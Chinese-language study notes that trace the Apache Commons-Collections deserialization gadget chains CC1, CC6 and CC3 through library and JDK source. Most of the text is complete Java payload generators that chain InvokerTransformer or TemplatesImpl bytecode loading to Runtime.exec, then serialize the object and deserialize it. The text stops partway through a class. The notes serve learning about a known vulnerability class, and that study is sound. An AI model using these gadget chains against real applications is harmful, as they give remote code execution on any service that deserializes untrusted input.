JAVA cc
cc1
①
链开始是org.apache.commons.collections.functors 包下InvokerTransformer的transform方法
public Object transform(Object input) {//链的最终调用方法
if (input == null) { //input可传
return null;
}
try { //iMethodName iParamTypes这俩均可通过实例化InvokerTransformer类
Class cls = input.getClass();//getClass 很容易联想到java反射
Method method = cls.getMethod(iMethodName, iParamTypes);//
return method.invoke(input, iArgs);//返回值可控为invoke(runtime,"calc") 实现任意调用
往上查找哪个方法调用了transform方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}//checkSetValue是受保护方法即不能直接搞接着往上找
发现只有一个调用了此方法
static class MapEntry extends AbstractMapEntryDecorator {//这个类继承了抽象方法
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;//这个是一个遍历
}
public Object setValue(Object value) {//setValuel方法调用了checkSetValue方法
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
测试MapEntry遍历调用setValue方法
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class a {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","val");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
for (Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
}
}
成功弹出,即我们找到一个调用MapEntry进行遍历调用setValue的方法即可
最终我们在(真他么巧)AnnotationInvocationHandler类找到readObject方法巧不巧。。。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(//调用Map.Entry 又在里面调用setValue方法
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
自此实现cc1链闭合
package cc1;//jdk8u65 commons-collections 3.2.1
import jdk.internal.org.objectweb.asm.tree.analysis.Value;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[]args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// Runtime.getRuntime().exec("cmd");
//反射调用
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
//
// Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用
// Class cc=Runtime.class;
// Method getruntime= cc.getDeclaredMethod("getRuntime",null);
// Runtime runtime = (Runtime)getruntime.invoke(null, null);
// Method execMethod = cc.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");
// Method getRuntimeMethod =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// chainedTransformer.transform(Runtime.class);
// new InvokerTransformer("exec", new Class[]{String.class} , new Object[] {"calc"}).transform(r);
// InvokerTransformer invokerTransformernew = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap<Object, Object> map = new HashMap<>();
// TransformedMap.decorate(map,null,invokerTransformernew);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("value","val");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlConstructor = a.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlConstructor.setAccessible(true);
// Object o=annotationInvocationHandlConstructor.newInstance(Override.class,transformedMap);//Override这个方法继承注释但没有返回值会使AnnotationInvocationHandler里面的readObject方法里的if过不去
Object o=annotationInvocationHandlConstructor.newInstance(Target.class,transformedMap);//Target返回注释数组
serialize(o);
unserialize("ser.bin");
//Class<? extends Annotation> type, Map<String, Object> memberValues
for (Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
②
public Object transform(Object object) {//ChainedTransformer里transform方法可递归调用整个链
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
接着往上找
这个和前面哪个其实可以互用使用下面TransformedMap也可以但。。。总要写一点不一样的
public Object get(Object key) {//LazyMap的get方法其实看到这个gei就好找了。。。调用get的很多就看能不能找到可自定义的了
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {//这个上面有注释就是没用然后再生成一个
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);}
接着找
直接跟着答案走
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();//AnnotationInvocationHandler类的invoke方法
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)//这个限制必须为无参构造否则抛出异常
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);//这个get memberValues member都是可控的
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
我们找了AnnotationInvocationHandler类的invoke方法即当我们在外部搞一个动态代理即可,我也不晓得怎么解释就是。。。跟着答案走吧,这里我们可以创建一个map的动态代理而且AnnotationInvocationHandler类的构造方法传参需要map类参数。。。。
private void readObject(java.io.ObjectInputStream s)//AnnotationInvocationHandler类
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();//memberValues可控且memberValues为无参。与上面invoke相照应而且AnnotationInvocationHandler的readObject类
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
到此cc1完成闭合playload:
package cc1;//jdk8u65 commons-collections 3.2.1
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc11 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
cc6
cc6链不看jdk版本比较好用
cc6与cc2的区别
//sun.reflect.annotation.AnnotationInvocationHandler包jdk8u71
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);//生成的不能控制了
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
//sun.reflect.annotation.AnnotationInvocationHandler包jdk8u65
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
CC6:
这个破局点
TiedMapEntry包的hashCode()函数
public int hashCode() {
Object value = getValue();//getValue方法
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);//这个的get方法的key和map均可控
}
LazyMap.get()方法结合写playload:
package cc1; //cc3.2.1 jdk8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry =new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"sss");
//lazyMap.remove("aaa");//删除key
// Class c = LazyMap.class;
//Field factoryField = c.getDeclaredField("factory");
//factoryField.setAccessible(true);
// factoryField.set(lazyMap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这个构造好后运行会发现运行后没有任何反应
解释:cc6类似URLDNS与cc1结合的链,URLDNS链的时候会发现HashMap.put的时候ConstantTransformer的key会发生改变
我们可以先使用java反射技术先随便穿个空值防止自动调用
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1) );
接着正常put值然后再进行反射更改数值
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
运行后发现不会序列化反序列化均无计算机弹出
动调一下:
下断点:
跟进函数
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {//这个key没有会造一个有返回
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}//防止序列化时执行key直接删除 lazyMap.remove("aaa");
playload:
package cc1; //cc3.2.1 jdk8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1) );
TiedMapEntry tiedMapEntry =new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"sss");
lazyMap.remove("aaa");//删除key
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);//反射替换
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
cc3
cc3是动态类加载,java cc链就是一整体的互相可用的链,java cc3它前半部分是cc1 而后部分主要是从newTransformer起的
任意类加载机制ClassLoader函数中defineClass方法
protected final Class<?> defineClass(String name, byte[] b, int off, int len)//保护方法F7寻找重写调用它的地方
throws ClassFormatError//defineClass这个函数有好几个挨个找最终在传参为(String name, byte[] b, int off, int len)
{ //方法中找到调用函数
return defineClass(name, b, off, len, null);
}//会加载一个类,即再找到一个实例化类的🤭
接着跟进
Class defineClass(final byte[] b) {//TemplatesImpl
return defineClass(null, b, 0, b.length);//Class只有内部调用接着找
}
private void defineTransletClasses()//TemplatesImpl.defineTransletClasses私有方法查找调用public
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {//在此次调用不用问代码逻辑先跟下去
_class[i] = loader.defineClass(_bytecodes[i]);
.....
发现三处调用接着查看
private Translet getTransletInstance()//TemplatesImpl.getTransletInstance私有方法查找调用public
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
.....
只有一处调用且是public
public synchronized Transformer newTransformer()//TemplatesImpl.newTransformer此处即new后即可
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
.....
①
到此处后即找到调用加载我们可用联想到cc1的InvokerTransformer.transform()即
形成一个完整的链😀
开始构造:
package cc;//jdk8u65 commons-collections 3.2.1
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();//大致已经🆗了个开始跟进使用反射进行赋值
templatesImpl.newTransformer();
}
}
已知最开始是newTransformer即下正向跟进,进行逻辑分析
跟进
需要进入defineTransletClasses()
_name ≠null //_name = "aaa"
_class=null
接着跟进defineTransletClasses()
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {//_bytecodes不可为空
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {//需进入此循环
_class[i] = loader.defineClass(_bytecodes[i]);//_bytecodes参数为加载类
查找_bytecodes字符类型
二维字节 传参:
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));
//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
尝试一下:
package org.example;//生成的class文件路径即类加载路径
import java.io.IOException;
public class hello{// extends AbstractTranslet
public static void main(String[] args) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
package cc;
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
// Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
templatesImpl.newTransformer();
//
// Transformer[] transforms=new Transformer[]{
// new ConstantTransformer(Runtime.class),
// (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// chainedTransformer.transform(1);
//
templatesImpl.newTransformer();
//
// HashMap<Object,Object> map=new HashMap<>();
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
// Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
// annotationInvocationHandlerConstructor.setAccessible(true);
// InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
// Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
发现报错动调一下:下断点
发现 _tfactory参数为空代码发生逻辑错误跟进看一下_tfactory参数
private transient TransformerFactoryImpl _tfactory = null//不可被序列化寻找赋值函数
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();//readObject函数中赋值
}
直接反射写入
package cc;
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
templatesImpl.newTransformer();
//
// Transformer[] transforms=new Transformer[]{
// new ConstantTransformer(Runtime.class),
// (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// chainedTransformer.transform(1);
//
templatesImpl.newTransformer();
//
// HashMap<Object,Object> map=new HashMap<>();
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
// Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
// annotationInvocationHandlerConstructor.setAccessible(true);
// InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
// Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
422行跟进
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//判断传入类是否继承ABSTRACT_TRANSLET
_transletIndex = i;//赋值,这个不赋值时-1后面哪个if过不去
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";//继承一下
♥
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
